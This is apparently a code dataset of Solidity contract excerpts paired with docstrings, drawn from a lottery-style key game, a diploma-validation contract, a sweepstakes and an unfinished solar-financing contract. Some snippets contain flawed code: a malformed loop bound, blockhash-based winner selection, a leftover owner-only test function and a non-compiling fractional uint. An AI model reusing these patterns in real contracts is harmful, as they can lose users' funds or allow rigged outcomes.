onRoundEnd(pIDPlayer[_winPID].addr, pIDPlayer[_winPID].name, rID, _roundID.pot, _newPot + _left, now); //start new round newRound(_newPot + _left); } //tested function newRound(uint256 _eth) private { if (rIDRound[rID].ended == true || rID == 0) { rID++; rIDRound[rID].strt = now; rIDRound[rID].end = now.add(rndMax); rIDRound[rID].pot = rIDRound[rID].pot.add(_eth); } } function updateMasks(uint256 _rID, uint256 _pID, uint256 _all, uint256 _keys) private returns(uint256) { //calculate average share of each new eth in uint256 _allKeys = rIDRound[_rID].team1Keys + rIDRound[_rID].team2Keys; uint256 _unit = _all.mul(1000000000000000000) / _allKeys; rIDRound[_rID].mask = rIDRound[_rID].mask.add(_unit); //calculate this round player can get uint256 _share = (_unit.mul(_keys)) / (1000000000000000000); pIDPlayerRound[_pID][_rID].mask = pIDPlayerRound[_pID][_rID].mask.add((rIDRound[_rID].mask.mul(_keys) / (1000000000000000000)).sub(_share)); return(_all.sub(_unit.mul(_allKeys) / (1000000000000000000))); } function withdrawEarnings(uint256 _pID) private returns(uint256) { updateVault(_pID); uint256 earnings = (pIDPlayer[_pID].win).add(pIDPlayer[_pID].gen).add(pIDPlayer[_pID].inv).add(pIDPlayer[_pID].tim).add(pIDPlayer[_pID].crd); if (earnings > 0) { pIDPlayer[_pID].win = 0; pIDPlayer[_pID].gen = 0; pIDPlayer[_pID].inv = 0; pIDPlayer[_pID].tim = 0; pIDPlayer[_pID].crd = 0; } return earnings; } function updateVault(uint256 _pID) private { uint256 _rID = pIDPlayer[_pID].lrnd; updateGenVault(_pID, _rID); updateInvVault(_pID, _rID); uint256 _team = calcTeamEarnings(_pID, _rID); //already calculate team reward,ended round key and mask dont needed if(rIDRound[_rID].ended == true) { pIDPlayerRound[_pID][_rID].team1Keys = 0; pIDPlayerRound[_pID][_rID].team2Keys = 0; pIDPlayerRound[_pID][_rID].mask = 0; } pIDPlayer[_pID].tim = pIDPlayer[_pID].tim.add(_team); } function updateGenVault(uint256 _pID, uint256 _rID) private { uint256 _earnings = calcUnMaskedEarnings(_pID, _rID); //put invitation reward to gen if (_earnings > 0) { // put in gen vault pIDPlayer[_pID].gen = _earnings.add(pIDPlayer[_pID].gen); // zero out their earnings by updating mask pIDPlayerRound[_pID][_rID].mask = _earnings.add(pIDPlayerRound[_pID][_rID].mask); } } function updateInvVault(uint256 _pID, uint256 _rID) private { uint256 _inv = pIDPlayerRound[_pID][_rID].inv; uint256 _invMask = pIDPlayerRound[_pID][_rID].invMask; if (_inv > 0) { pIDPlayer[_pID].inv = pIDPlayer[_pID].inv.add(_inv).sub0(_invMask); pIDPlayerRound[_pID][_rID].invMask = pIDPlayerRound[_pID][_rID].invMask.add(_inv).sub0(_invMask); } } //calculate valut not update function calcUnMaskedEarnings(uint256 _pID, uint256 _rID) private view returns (uint256) { uint256 _all = pIDPlayerRound[_pID][_rID].team1Keys + pIDPlayerRound[_pID][_rID].team2Keys; return ((rIDRound[_rID].mask.mul(_all)) / (1000000000000000000)).sub(pIDPlayerRound[_pID][_rID].mask); } function calcTeamEarnings(uint256 _pID, uint256 _rID) private view returns (uint256) { uint256 _key1 = pIDPlayerRound[_pID][_rID].team1Keys; uint256 _key2 = pIDPlayerRound[_pID][_rID].team2Keys; if (rIDRound[_rID].ended == false) return 0; else { if (rIDRound[_rID].team == 0) return rIDRound[_rID].teamPot.mul(_key1 / rIDRound[_rID].team1Keys); else return rIDRound[_rID].teamPot.mul(_key2 / rIDRound[_rID].team2Keys); } } //tested function updateTimer(uint256 _keys, uint256 _rID) private { // grab time uint256 _now = now; // calculate new time uint256 _newTime; if (_now > rIDRound[_rID].end && rIDRound[_rID].leadPID == 0) _newTime = (((_keys) / (1000000000000000000)).mul(rndPerKey)).add(_now); else _newTime = (((_keys) / (1000000000000000000)).mul(rndPerKey)).add(rIDRound[_rID].end); // compare to max and set new end time if (_newTime < (rndMax).add(_now)) rIDRound[_rID].end = _newTime; else rIDRound[_rID].end = rndMax.add(_now); } } library NTA3DKeysCalc { using SafeMath for *; uint256 constant private keyPriceTrigger = 50000 * 1e18; uint256 constant private keyPriceFirst = 0.0005 ether; uint256 constant private keyPriceAdd = 0.0001 ether; /** * @dev calculates number of keys received given X eth * _curEth current amount of eth in contract * _newEth eth being spent * @return amount of ticket purchased */ function keysRec(uint256 _curKeys, uint256 _allEth) internal pure returns (uint256) { return(keys(_curKeys, _allEth)); } function ethRec(uint256 _curKeys, uint256 _sellKeys) internal pure returns (uint256) { return(eth(_sellKeys.add(_curKeys)).sub(eth(_curKeys))); } function keys(uint256 _keys, uint256 _eth) internal pure returns(uint256) { uint256 _times = _keys / keyPriceTrigger; uint i = 0; uint256 eth1; uint256 eth2; uint256 price; uint256 key2; for(i = _times;i < i + 200; i++) { if(eth(keyPriceTrigger * (i + 1)) >= _eth) { if(i == 0) eth1 = 0; else eth1 = eth(keyPriceTrigger * i); eth2 = _eth.sub(eth1); price = i.mul(keyPriceAdd).add(keyPriceFirst); key2 = (eth2 / price).mul(1e18); return ((keyPriceTrigger * i + key2).sub0(_keys)); break; } } //too large require(false, "too large eth in"); } //tested function eth(uint256 _keys) internal pure returns(uint256) { uint256 _times = _keys / keyPriceTrigger;//keyPriceTrigger; uint256 _remain = _keys % keyPriceTrigger;//keyPriceTrigger; uint256 _price = _times.mul(keyPriceAdd).add(keyPriceFirst); if (_times == 0) { return (keyPriceFirst.mul(_keys / 1e18)); } else { uint256 _up = (_price.sub(keyPriceFirst)).mul(_remain / 1e18); uint256 _down = (_keys / 1e18).mul(keyPriceFirst); uint256 _add = (_times.mul(_times).sub(_times) / 2).mul(keyPriceAdd).mul(keyPriceTrigger / 1e18); return (_up + _down + _add); } } } library NTAdatasets { struct Player { address addr; // player address bytes32 name; // player name uint256 win; // winnings vault uint256 gen; // general vault uint256 inv; // inviter vault uint256 tim; //team pot uint256 crd; //crd pot uint256 lrnd; // last round played uint256 inviter1; // direct inviter uint256 inviter2; // second hand inviter uint256 vip; //0 no vip; 1 and 2 } struct PlayerRound { uint256 eth; // eth player has added to round (used for eth limiter) uint256 team1Keys; uint256 team2Keys; uint256 inv; uint256 mask; uint256 invMask; uint256 score; } struct Round { uint256 leadPID; // pID of player in lead uint256 end; // time ends/ended bool ended; // has round end function been ran uint256 strt; // time round started uint256 team1Keys; // keys uint256 team2Keys; // keys uint256 eth; // total eth in uint256 pot; // eth win pot uint256 team; uint256 teamPot; uint256 smallDrop;//50Eth airdrop uint256 bigDrop; //300000 eth airdrop uint256 playerPot; uint256 mask; uint256[3] invTop3; uint256[3] keyTop3; } struct Card { uint256 owner; //pID of card owner address addr; uint256 buyTime; //validity time check uint256 earnings; } struct Deposit { uint256 allPlayer; // all player this rounds by key uint256 pot; // last winner pot uint256 devfunds; // game development Pot uint256 teamFee; // team fee uint256 cards; // stock right cards uint256 inviter; uint256 bigDrop; uint256 smallDrop; } struct PotSplit { uint256 allPlayer; // all player this rounds by key uint256 lastWinner; // final player uint256 inviter1st; // player who get 1st of invatation uint256 inviter2nd; uint256 inviter3rd; uint256 key1st; // player who get 1st key amount uint256 key2nd; uint256 key3rd; uint256 next; // next round } } library NameFilter { function nameFilter(string _input) internal pure returns(bytes32) { bytes memory _temp = bytes(_input); uint256 _length = _temp.length; //sorry limited to 32 characters require (_length <= 32 && _length > 0, "string must be between 1 and 32 characters"); // make sure it doesnt start with or end with space require(_temp[0] != 0x20 && _temp[_length-1] != 0x20, "string cannot start or end with space"); // make sure first two characters are not 0x if (_temp[0] == 0x30) { require(_temp[1] != 0x78, "string cannot start with 0x"); require(_temp[1] != 0x58, "string cannot start with 0X"); } // create a bool to track if we have a non number character bool _hasNonNumber; // convert & check for (uint256 i = 0; i < _length; i++) { // if its uppercase A-Z if (_temp[i] > 0x40 && _temp[i] < 0x5b) { // convert to lower case a-z _temp[i] = byte(uint(_temp[i]) + 32); // we have a non number if (_hasNonNumber == false) _hasNonNumber = true; } else { require ( // require character is a space _temp[i] == 0x20 || // OR lowercase a-z (_temp[i] > 0x60 && _temp[i] < 0x7b) || // or 0-9 (_temp[i] > 0x2f && _temp[i] < 0x3a), "string contains invalid characters" ); // make sure theres not 2x spaces in a row if (_temp[i] == 0x20) require( _temp[i+1] != 0x20, "string cannot contain consecutive spaces"); // see if we have a character other than a number if (_hasNonNumber == false && (_temp[i] < 0x30 || _temp[i] > 0x39)) _hasNonNumber = true; } } require(_hasNonNumber == true, "string cannot be only numbers"); bytes32 _ret; assembly { _ret := mload(add(_temp, 32)) } return (_ret); } } library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256 c) { if (a == 0) { return 0; } c = a * b; require(c / a == b, "SafeMath mul failed"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { require(b <= a, "SafeMath sub failed"); return a - b; } /** * @dev Subtracts two numbers, no throw */ function sub0(uint256 a, uint256 b) internal pure returns (uint256) { if (a < b) { return 0; } else { return a - b; } } /** * @dev Adds two numbers, throws on overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256 c) { c = a + b; require(c >= a, "SafeMath add failed"); return c; } /** * @dev gives square root of given x. */ function sqrt(uint256 x) internal pure returns (uint256 y) { uint256 z = ((add(x,1)) / 2); y = x; while (z < y) { y = z; z = ((add((x / z),z)) / 2); } } /** * @dev gives square. multiplies x by x */ function sq(uint256 x) internal pure returns (uint256) { return (mul(x,x)); } /** * @dev x to the power of y */ function pwr(uint256 x, uint256 y) internal pure returns (uint256) { if (x==0) return (0); else if (y==0) return (1); else { uint256 z = x; for (uint256 i=1; i < y; i++) z = mul(z,x); return (z); } } }
put invitation reward to gen put in gen vault zero out their earnings by updating mask
function updateGenVault(uint256 _pID, uint256 _rID) private { uint256 _earnings = calcUnMaskedEarnings(_pID, _rID); if (_earnings > 0) { pIDPlayer[_pID].gen = _earnings.add(pIDPlayer[_pID].gen); pIDPlayerRound[_pID][_rID].mask = _earnings.add(pIDPlayerRound[_pID][_rID].mask); } }
1,788,965
./full_match/5/0xE803063793d3798349679079aeC82BD7bB0F4589/sources/contract-7485c339b2.sol
Gets the index of the last processed wallet return index The index of the last wallet that was paid dividends
function getLastProcessedIndex() external view returns (uint256 index) { return lastProcessedIndex; }
7,088,040
// SPDX-License-Identifier: MIT pragma solidity 0.8.4; import "@openzeppelin/contracts/access/Ownable.sol"; import "./openzeppelin/EnumerableSet.sol"; import "./IMaticulum.sol"; import "./ISchool.sol"; contract MaticulumTraining is Ownable { using EnumerableSet for EnumerableSet.UintSet; using EnumerableSet for EnumerableSet.AddressSet; struct Training { uint256 school; string name; string level; uint16 duration; uint16 validationThreshold; } struct DiplomaValidation { EnumerableSet.AddressSet juries; bool validated; } struct DiplomaReady { uint256 trainingId; address user; } IMaticulum private maticulum; ISchool private school; /// List of trainings Training[] public trainings; /// List of (training, user) validated by juries and ready to emit diploma DiplomaReady[] public diplomasReady; /// List of (training, jury) waiting a validation from School Admin mapping(uint256 => EnumerableSet.AddressSet) trainingJuriesWaitingValidation; mapping(address => EnumerableSet.UintSet) juryWaitingTrainingValidation; /// List of (training, jury) validated by School Admin mapping(uint256 => EnumerableSet.AddressSet) trainingJuries; mapping(address => EnumerableSet.UintSet) juryTrainings; /// List of validated (training, student) mapping(uint256 => EnumerableSet.AddressSet) trainingUsers; mapping(address => EnumerableSet.UintSet) userTrainings; /// List of validators for a (training, jury) mapping(uint256 => mapping(address => EnumerableSet.AddressSet)) juryValidations; /// List of jury validation for (training, student) mapping(uint256 => mapping(address => DiplomaValidation)) diplomaUserValidations; /// List of student date registration for a training mapping(uint256 => mapping(address => uint256)) public trainingStudentRegistrationDates; event TrainingAdded(uint256 schoolId, uint256 trainingId, string name, string level, uint16 duration, uint16 validationThreshold, address addedBy); event TrainingUpdated(uint256 schoolId, uint256 trainingId, string name, string level, uint16 duration, uint16 validationThreshold, address updatedBy); event JuryAdded(uint256 trainingId, address jury, address addedBy); event JuryValidated(uint256 trainingId, address jury, uint256 count, address validatedBy); event JuryRemoved(uint256 trainingId, address jury, address removedBy); event UserTrainingRequest(uint256 trainingId, address requestedBy); event UserTrainingRequestValidation(uint256 trainingId, address user, address validatedBy); event ValidateDiploma(uint256 trainingId, address user, uint256 count, address validatedBy); constructor(address _maticulum, address _school) { maticulum = IMaticulum(_maticulum); school = ISchool(_school); } /** * @notice Check if a user is a jury of a training * @param _user address of the user * @return true if the user is a jury (even if not validated yet) */ function isJury(address _user) external view returns (bool) { return juryTrainings[_user].length() > 0 || juryWaitingTrainingValidation[_user].length() > 0; } /** * @notice Get the number of trainings * @return trainings count */ function getTrainingsCount() external view returns (uint256) { return trainings.length; } /** * @notice Get the number of diplomas ready * @return diplomas ready count */ function getDiplomasReadyCount() external view returns (uint256) { return diplomasReady.length; } /** * @notice Get the status of a registration request * @param _trainingId id of training * @param _user user address * @return registered true if the user has register for this training * @return validated true if the request is validated */ function getRegistrationStatus(uint256 _trainingId, address _user) external view returns (bool registered, bool validated) { validated = trainingUsers[_trainingId].contains(_user); registered = validated || maticulum.isRegistered(_user); } /** * @notice Register for a training * @param _trainingId id of training * @param _user user address */ function validateUserTrainingRequestDirect(uint256 _trainingId, address _user) external { require(school.isSchoolAdmin(trainings[_trainingId].school, msg.sender), "!SchoolAdmin"); require(!userTrainings[_user].contains(_trainingId), "Already validated"); userTrainings[_user].add(_trainingId); trainingUsers[_trainingId].add(_user); trainingStudentRegistrationDates[_trainingId][_user] = block.timestamp; emit UserTrainingRequestValidation(_trainingId, _user, msg.sender); } /** * @notice Get the training list for a user * @param _user address of user * @return Training id list */ function getUserTrainings(address _user) external view returns (uint256[] memory) { return userTrainings[_user].values(); } /** * @notice Registers a school's training * @param _schoolId id of the school * @param _name training name * @param _level training level * @param _duration training duration, in hours * @param _validationThreshold number of validation by a jury to validate a user diploma * @param _juries juries for the training * @return the id of the saved training */ function addTraining(uint256 _schoolId, string memory _name, string memory _level, uint16 _duration, uint16 _validationThreshold, address[] memory _juries) external returns (uint256) { require(school.isSchoolAdmin(_schoolId, msg.sender), "!SchoolAdmin"); trainings.push(Training(_schoolId, _name, _level, _duration, _validationThreshold)); uint256 id = trainings.length - 1; school.linkTraining(_schoolId, id); emit TrainingAdded(_schoolId, id, _name, _level, _duration, _validationThreshold, msg.sender); for (uint256 i = 0; i < _juries.length; i++) { addJury(id, _juries[i]); } return id; } /** * @notice Update a school's training * @param _trainingId id of training * @param _name training name * @param _level training level * @param _duration training duration, in hours * @param _validationThreshold number of validation by a jury to validate a user diploma * @param _addJuries list of the juries to add * @param _removeJuries list of the juries to remove */ function updateTraining(uint256 _trainingId, string memory _name, string memory _level, uint16 _duration, uint16 _validationThreshold, address[] memory _addJuries, address[] memory _removeJuries) external { Training storage training = trainings[_trainingId]; require(school.isSchoolAdmin(training.school, msg.sender), '!SchoolAdmin'); training.name = _name; training.level = _level; training.duration = _duration; training.validationThreshold = _validationThreshold; emit TrainingUpdated(training.school, _trainingId, _name, _level, _duration, _validationThreshold, msg.sender); for (uint256 i = 0; i < _addJuries.length; i++) { addJury(_trainingId, _addJuries[i]); } for (uint256 i = 0; i < _removeJuries.length; i++) { removeJury(_trainingId, _removeJuries[i]); } } /** * @notice Get a jury for specified training * @param _id id of training * @return address of jury */ function getTrainingJuries(uint256 _id) external view returns (address[] memory) { return trainingJuries[_id].values(); } /** * @notice Get the trainingId list of a jury * @param _jury address of jury * @return the list training ids */ function getTrainingsForJury(address _jury) external view returns (uint256[] memory) { return juryTrainings[_jury].values(); } /** * @notice Add a jury to a training, waiting validation according to training validation threshold * @param _trainingId if of the training * @param _jury added jury */ function addJury(uint256 _trainingId, address _jury) internal { require(school.isSchoolAdmin(trainings[_trainingId].school, msg.sender)); require(maticulum.isRegistered(_jury), "Jury !registered"); require(!trainingJuriesWaitingValidation[_trainingId].contains(_jury), "Already waiting"); require(!trainingJuries[_trainingId].contains(_jury), "Already jury"); trainingJuriesWaitingValidation[_trainingId].add(_jury); juryWaitingTrainingValidation[_jury].add(_trainingId); emit JuryAdded(_trainingId, _jury, msg.sender); validateJury(_trainingId, _jury); } /** * @notice Get the juries waiting a validation for a given training * @param _trainingId id of the training * @return jury list */ function getTrainingJuriesWaitingValidation(uint256 _trainingId) external view returns (address[] memory) { return trainingJuriesWaitingValidation[_trainingId].values(); } /** * @notice Get the trainings for a given jury waiting a validation * @param _jury jury address * @return trainings list */ function getTrainingsWaitingValidationForJury(address _jury) external view returns (uint256[] memory) { return juryWaitingTrainingValidation[_jury].values(); } /** * @notice Validate a jury * @param _trainingId id of training * @param _jury address of jury */ function validateJury(uint256 _trainingId, address _jury) internal { require(trainingJuriesWaitingValidation[_trainingId].contains(_jury), "Not waiting"); require(!trainingJuries[_trainingId].contains(_jury), "Already jury"); require(!juryValidations[_trainingId][_jury].contains(msg.sender), "Already validated by this admin"); juryValidations[_trainingId][_jury].add(msg.sender); uint256 count = juryValidations[_trainingId][_jury].length(); if (count >= trainings[_trainingId].validationThreshold) { maticulum.validateUser(_jury); trainingJuries[_trainingId].add(_jury); juryTrainings[_jury].add(_trainingId); trainingJuriesWaitingValidation[_trainingId].remove(_jury); juryWaitingTrainingValidation[_jury].remove(_trainingId); } emit JuryValidated(_trainingId, _jury, count, msg.sender); } /** * @notice Validate multiple juries * @param _trainingId id of training * @param _juries juries to validate */ function validateJuryMultiple(uint256 _trainingId, address[] memory _juries) external { require(school.isSchoolAdmin(trainings[_trainingId].school, msg.sender), "!SchoolAdmin"); for (uint256 i = 0; i < _juries.length; i++) { validateJury(_trainingId, _juries[i]); } } /** * @notice Get the status of a jury validation * @param _trainingId id of training * @param _jury jury address * @return validated true if the jury is validated * @return count nb of school admins who have validated this jury */ function getJuryValidationStatus(uint256 _trainingId, address _jury) external view returns (bool validated, uint256 count) { count = juryValidations[_trainingId][_jury].length(); validated = count >= trainings[_trainingId].validationThreshold; } /** * @notice Get the address who validates this jury, for the given training and index * @dev count can be retrieve with getJuryValidationStatus * @param _trainingId id of training * @param _jury jury address * @param _index index of validator * @return the address */ function getJuryValidator(uint256 _trainingId, address _jury, uint256 _index) external view returns (address) { return juryValidations[_trainingId][_jury].at(_index); } /** * @notice Remove a jury from a training * @param _trainingId id of the training * @param _jury jury to remove */ function removeJury(uint256 _trainingId, address _jury) internal { require(school.isSchoolAdmin(trainings[_trainingId].school, msg.sender)); trainingJuries[_trainingId].remove(_jury); juryTrainings[_jury].remove(_trainingId); emit JuryRemoved(_trainingId, _jury, msg.sender); } /** * @notice Get the number of users for a training. * @param _trainingId id of training * @return trainings number */ function getUsersCountForTraining(uint256 _trainingId) external view returns (uint256) { return trainingUsers[_trainingId].length(); } /** * @notice Get the Nth userId of a training * @param _trainingId id of training * @param _index index in the users list * @return the user address */ function getUserForTraining(uint256 _trainingId, uint256 _index) external view returns (address) { return trainingUsers[_trainingId].at(_index); } function getUsersForTraining(uint256 _trainingId) external view returns (address[] memory) { return trainingUsers[_trainingId].values(); } /** * @notice Validates a diploma for a user * @param _trainingId id of training * @param _user user address */ function validateDiploma(uint256 _trainingId, address _user) public { require(isTrainingJury(_trainingId, msg.sender), "!jury"); require(block.timestamp >= trainingStudentRegistrationDates[_trainingId][_user] + (trainings[_trainingId].duration * 3600 ), "StillOngoingTraining"); DiplomaValidation storage validation = diplomaUserValidations[_trainingId][_user]; validation.juries.add(msg.sender); uint256 count = validation.juries.length(); if (count >= trainings[_trainingId].validationThreshold) { validation.validated = true; diplomasReady.push(DiplomaReady(_trainingId, _user)); } emit ValidateDiploma(_trainingId, _user, count, msg.sender); } /* * @notice Validates a diploma for multiple users in a single transaction * @param _trainingId id of training * @param _users list of user addresses */ function validateDiplomaMultipleUsers(uint256 _trainingId, address[] memory _users) external { require(isTrainingJury(_trainingId, msg.sender), "!jury"); for (uint256 i = 0; i < _users.length; i++) { validateDiploma(_trainingId, _users[i]); } } /** * @notice Get informations about the validation of a user diploma * @param _trainingId id of training * @param _user user address * @param _jury jury address * @return validatedCount juries already validated count * @return validatedByJury true if this jury as validated the training/user * @return validated true if all needed juries have validated the training/user */ function getDiplomaValidation(uint256 _trainingId, address _user, address _jury) external view returns (uint256 validatedCount, bool validatedByJury, bool validated) { DiplomaValidation storage validation = diplomaUserValidations[_trainingId][_user]; return (validation.juries.length(), validation.juries.contains(_jury), validation.validated); } /** * @notice Check that a user belongs to the jury of given training * @param _trainingId id of the training * @param _user user address * @return true if user is a jury of the training */ function isTrainingJury(uint _trainingId, address _user) public view returns (bool) { return trainingJuries[_trainingId].contains(_user); } /// @dev For test purposes, should be removed function addUserTraining(address _user, uint256 _trainingId) external onlyOwner { userTrainings[_user].add(_trainingId); trainingUsers[_trainingId].add(_user); trainingStudentRegistrationDates[_trainingId][_user] = block.timestamp; } function diplomaValidated(address _userAddress, uint256 _trainingId) public view returns(bool) { return diplomaUserValidations[_trainingId][_userAddress].validated; } }
Validate multiple juries _trainingId id of training _juries juries to validate/
function validateJuryMultiple(uint256 _trainingId, address[] memory _juries) external { require(school.isSchoolAdmin(trainings[_trainingId].school, msg.sender), "!SchoolAdmin"); for (uint256 i = 0; i < _juries.length; i++) { validateJury(_trainingId, _juries[i]); } }
2,569,693
./full_match/1/0xB09631CB29B982BC7B064BaB1167C1531f263812/sources/contracts/ExhibitionConsumer.sol
Must return the account's _current_ UNT earnings (as of current blockchain state). Used in the frontend. /
function earned(address _account) override external view returns(uint256){ if(_account == IExhibition(exhibition).controller()){ uint256 endTime = block.timestamp; if (endTime < allocationEnd ) { return 0; } if(endTime > exhibitionEnd){ endTime = exhibitionEnd; } return ( ( endTime - allocationEnd ) * untRateExhibitionController ) - paidToController; } (IUniftyGovernanceConsumer con,address peer,,,) = gov.accountInfo(_account); if(con != this || peer != exhibition || exhibition == address(0)){ return 0; } return ( accountReserved[_account] + ( ( collectedUnt * accountPrevAmount[_account] ) / 10**18 ) ) - accountDebt[_account]; }
2,971,419
pragma solidity ^0.4.8; import "./util/WithoutDefaultFunction.sol"; contract PryzeSweepstakes { string public name; string public sponsorName; string public sponsorTermsUrl; string public contactInformation; string public prizeDescription; address public sponsor; address public factoryOwner; uint public startTime; uint public endTime; uint public winnerIndex; bool isActive = false; bytes32 hashOfEntries; uint public totalEntries; // save reject reason for entrant at index mapping(uint => bytes32) public rejectReasons; string public winnerTransactionHash; // Events event DecidedWinner(address addr, uint winnerIndex); event AcceptedWinner(address addr, uint winnerIndex, string transactionHash); event RejectedWinner(address addr, uint rejectedWinnerEntryIndex, bytes32 rejectReason); modifier sponsorOnly { require(msg.sender == sponsor); _; } modifier pryzeOnly { require(msg.sender == factoryOwner); _; } modifier pryzeOrSponsorOnly { require(msg.sender == sponsor || msg.sender == factoryOwner); _; } function PryzeSweepstakes( address _sponsor, address _factoryOwner, string _name, string _sponsorName, string _sponsorTermsUrl, string _contactInformation, string _prizeDescription, uint _startTime, uint _endTime ) public { sponsor = _sponsor; factoryOwner = _factoryOwner; name = _name; sponsorName = _sponsorName; sponsorTermsUrl = _sponsorTermsUrl; contactInformation = _contactInformation; prizeDescription = _prizeDescription; startTime = _startTime; endTime = _endTime; isActive = true; } function getName() public constant returns (string) { return name; } function getSponsorName() public constant returns (string) { return sponsorName; } function getSponsorTermsUrl() public constant returns (string) { return sponsorTermsUrl; } function getContactInformation() public constant returns (string) { return contactInformation; } function getPrizeDescription() public constant returns (string) { return prizeDescription; } function getStartTime() public constant returns (uint) { return startTime; } function getEndTime() public constant returns (uint) { return endTime; } function getWinnerIndex() public constant returns (uint) { return winnerIndex; } function getTotalEntries() public constant returns (uint) { return totalEntries; } // Used for state machine for right after data has been set and winner should be selected bool public shouldDecideWinner = false; // Used for state machine after winner has been picked, and sponsor can decide to accept or reject // based on terms bool public shouldAcceptOrRejectWinner = false; // Final state when bool public acceptedWinner = false; // Number entries from the sidechain, and other sidechain information used for randomization and verification uint numberEntries; bytes32 blockHashOfSideChain; uint blockNumberOfSideChain; uint timestampOfSideChain; // Block number that winner pick data is set uint winnerSetDataBlockNumber; // Entry index for winner uint public lastRejectedWinnerEntryIndex; // Entry index for winner uint winnerEntryIndex; function setWinnerPickData(uint _numberEntries, bytes32 _blockHashOfSideChain, uint _blockNumberOfSideChain, uint _timestampOfSideChain) public pryzeOnly { require(!shouldDecideWinner); numberEntries = _numberEntries; blockHashOfSideChain = _blockHashOfSideChain; blockNumberOfSideChain = _blockNumberOfSideChain; timestampOfSideChain = _timestampOfSideChain; winnerSetDataBlockNumber = block.number; shouldDecideWinner = true; } function decideWinner() public pryzeOrSponsorOnly returns(uint) { // Don't let winner be picked if we're the same block as creation because this value is known before the // contract and this function could be called together require(block.number > winnerSetDataBlockNumber); // Make sure we're ready to decide a winner require(shouldDecideWinner && !shouldAcceptOrRejectWinner); uint limit = numberEntries; winnerEntryIndex = uint(sha3( block.blockhash(block.number - 1), blockHashOfSideChain, blockNumberOfSideChain, timestampOfSideChain)) % limit; shouldAcceptOrRejectWinner = true; DecidedWinner(this, winnerEntryIndex); return winnerEntryIndex; } function rejectWinner(bytes32 reason) sponsorOnly { require(shouldAcceptOrRejectWinner && !acceptedWinner); shouldAcceptOrRejectWinner = false; lastRejectedWinnerEntryIndex = winnerEntryIndex; winnerEntryIndex = 0; // save the reject reason rejectReasons[lastRejectedWinnerEntryIndex] = reason; RejectedWinner(this, lastRejectedWinnerEntryIndex, reason); decideWinner(); } function getRejectReasonForIndex (uint index) public returns (bytes32) { return rejectReasons[index]; } function acceptWinner() sponsorOnly { require(shouldAcceptOrRejectWinner && !acceptedWinner); acceptedWinner = true; AcceptedWinner(this, winnerEntryIndex, ""); } // Note: transactionHash is of type string to allow flexibility // for not-ethereum hashes (e.g. bitcoin) function acceptWinner(string transactionHash) sponsorOnly { require(shouldAcceptOrRejectWinner && !acceptedWinner); acceptedWinner = true; winnerTransactionHash = transactionHash; AcceptedWinner(this, winnerEntryIndex, winnerTransactionHash); } function getWinnerEntryIndex() public returns(uint) { return winnerEntryIndex; } }
Note: transactionHash is of type string to allow flexibility for not-ethereum hashes (e.g. bitcoin)
function acceptWinner(string transactionHash) sponsorOnly { require(shouldAcceptOrRejectWinner && !acceptedWinner); acceptedWinner = true; winnerTransactionHash = transactionHash; AcceptedWinner(this, winnerEntryIndex, winnerTransactionHash); }
12,788,259
pragma solidity ^0.4.11; contract SolarProperty { // ### TODO ### ENERGY TARIFF ORACLE ### Electricity Tariff setting ### // Functionality: scrape docs and APIs of energy utilities and regulations, considering geographic location, and provide a harmonized price. Allow manual configuration and fixed prices. // Repeat monthly checks (or eg. every 6 months),i.e. before the begining of a payment cycle. // Save the files that are used as source and references in the final harmonized prize in IPFS. Hash the IPFS files to block that sets the Tariff (i.e. for this specific system and customer) at that payment cycle. // Provide proof and certification that β€”β€”if the tariff is set by 3rd party variables and computer analyses (i.e. not manually configured)β€” the oracle has not been compromised and outputs without issues. // Note: consider yearly adjustment of prices uint constant PREPA_PRICE = 0.25; //$/kWh Now set fixed based on an average of Puerto Rico's tariffs. // # STRUCTURE OF SOLAR SYSTEM # // The information details and properties that each specific solar system should have struct SolarSystem { uint panelSize; uint totalValue; address consumer; uint percentageHeld; uint lastFullPaymentTimestamp; uint unpaidUsage; // measured in kWh // ADD // This will at least also need the size of the battery bank, inverter size, and geo location. // Note: Consider onboarding here the energy meter. The main and most accurate energy meter for the solar system will come from datalogger and IoT monitor of the actual inverter/regulator. The brand and comms protocol these have may defer eg. Schneider vs SMA. } // Investor or Issuer puts out the value of the system they want struct ProposedDeployment { uint panelSize; // insert other physical properties here. /// MW /// Why not insert the whole info in the struct of SolarSystem or of a ProposedSolarSystem (i.e. a struct in a struct)? uint totalValue; uint256 contractorPayout; // ### WALLETS & ACCOUNTS ### These are the wallets that will interact with this specific solar system. // Other wallets/agents could be added: Eg. Originator: starts the project and for ex. gets a fixed fee; // eg. a Project "Originator" can do a first System Proposal (i.e. design, engineering, quote/budget) or hire/partner with a solar developer (or e.g. 3rd party consultant) to co-develop the System Proposal // Subcontractor: works with and not for the contractor; Guarantor: covers payments in case of a breach; Insurer: protects against risks --i.e. financial, social and environmental. // Note: Wallets could be replaced by "Anchor Points" of financial institutions and thus link directly to a bank account (i.e. personal, corporate). (see Stellar funcionality here) // Note: Investor here could be a single finance platform Eg. Neighborly and have a whole set of contracts and processes address contractor; address consumer; address investor; address guarantor; // Must have both confirmations to be valid // Other confirmations may be required if it eg. wants to be "3rd party verified" bool isConfirmedByContractor; bool isConfirmedByConsumer; } // ### TODO ### STRUCT OF IOT SENSORS RELEVANT TO THE INSTALL ### // The 'secure' and open source IoT sensors we have developed and installed by non-invasively 'clamping' the wires in the install should be onboarded and thus have a struct? // Consider its eventual onboarding as separate entity to the solar system but assigned to a solar system to act as a witness that will inform the energy oracle of what its 'seeing' /// ### TO-DO ### DEFINE INVESTOR ### eg. Emulate the role of a Neighborly Muni Bond #### /// Set maybe a Struct for investors, which maybe is represented by a single 'investor platfor' eg. Neighborly. /// Consider bond structure at first with interest rates. Then make compatible for equity crowdfunding and normal crowdfunding. /* public variables */ /// Sets the directory of Solar Systems and deployments that can be accessed in the "network" address admin; mapping(uint => SolarSystem) public solarSystems; mapping(uint => ProposedDeployment) public proposedDeployments; /* runs at initialization when contract is executed */ constructor() public { admin = msg.sender; } // getter for proposed deployment // Allows key variables of the proposed system and finance model to be called and used throughout the contract function getProposedDeploymentDetails(uint _ssAddress) view public returns(uint, uint, uint256, address, address, address, bool){ return( proposedDeployments[_ssAddress].panelSize, proposedDeployments[_ssAddress].totalValue, proposedDeployments[_ssAddress].contractorPayout, proposedDeployments[_ssAddress].consumer, proposedDeployments[_ssAddress].contractor, proposedDeployments[_ssAddress].investor, proposedDeployments[_ssAddress].isConfirmedByContractor ); } //getter for solar system details // # Allows key variables of the proposed system and model to be called and used throughout the contract. function 